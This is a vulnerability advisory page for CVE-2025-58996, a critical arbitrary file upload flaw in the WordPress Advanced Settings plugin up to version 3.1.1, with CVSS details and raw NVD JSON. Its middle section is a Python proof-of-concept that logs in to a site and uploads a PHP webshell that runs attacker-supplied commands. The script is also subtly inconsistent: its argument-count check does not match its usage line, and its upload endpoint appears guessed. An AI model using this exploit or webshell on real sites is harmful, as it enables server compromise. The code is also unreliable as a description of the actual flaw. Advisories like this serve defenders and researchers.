Security Vulnerability Report
中文
CVE-2025-58996 CVSS 9.1 CRITICAL

CVE-2025-58996

Published: 2025-11-06 16:16:01
Last Modified: 2026-04-15 00:35:42

Description

Unrestricted Upload of File with Dangerous Type vulnerability in Helmut Wandl Advanced Settings advanced-settings allows Upload a Web Shell to a Web Server.This issue affects Advanced Settings: from n/a through <= 3.1.1.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Advanced Settings <= 3.1.1(所有版本)
WordPress(所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-58996 PoC - WordPress Advanced Settings Plugin <= 3.1.1 Arbitrary File Upload # Target: WordPress site with Advanced Settings plugin installed def upload_webshell(target_url, username, password): """ Upload a webshell via Advanced Settings plugin vulnerable endpoint """ # Login to WordPress login_url = target_url + '/wp-login.php' session = requests.Session() login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } session.post(login_url, data=login_data) # Upload webshell via plugin endpoint upload_url = target_url + '/wp-admin/admin.php?page=advanced-settings' webshell_content = '''<?php if(isset($_REQUEST['cmd'])) { echo "<pre>"; $cmd = $_REQUEST['cmd']; system($cmd); echo "</pre>"; } ?>''' files = { 'upload_file': ('shell.php', webshell_content, 'application/x-php') } response = session.post(upload_url, files=files) if response.status_code == 200: print('[+] Webshell uploaded successfully!') print('[+] Access: ' + target_url + '/wp-content/uploads/shell.php?cmd=whoami') else: print('[-] Upload failed') if __name__ == '__main__': if len(sys.argv) != 5: print('Usage: python cve-2025-58996.py <target_url> <username> <password>') sys.exit(1) upload_webshell(sys.argv[1], sys.argv[2], sys.argv[3])

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58996", "sourceIdentifier": "[email protected]", "published": "2025-11-06T16:16:01.140", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Unrestricted Upload of File with Dangerous Type vulnerability in Helmut Wandl Advanced Settings advanced-settings allows Upload a Web Shell to a Web Server.This issue affects Advanced Settings: from n/a through <= 3.1.1."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/advanced-settings/vulnerability/wordpress-advanced-settings-plugin-3-1-1-arbitrary-file-upload-vulnerability?_s_id=cve", "source": "[email protected]"}]}}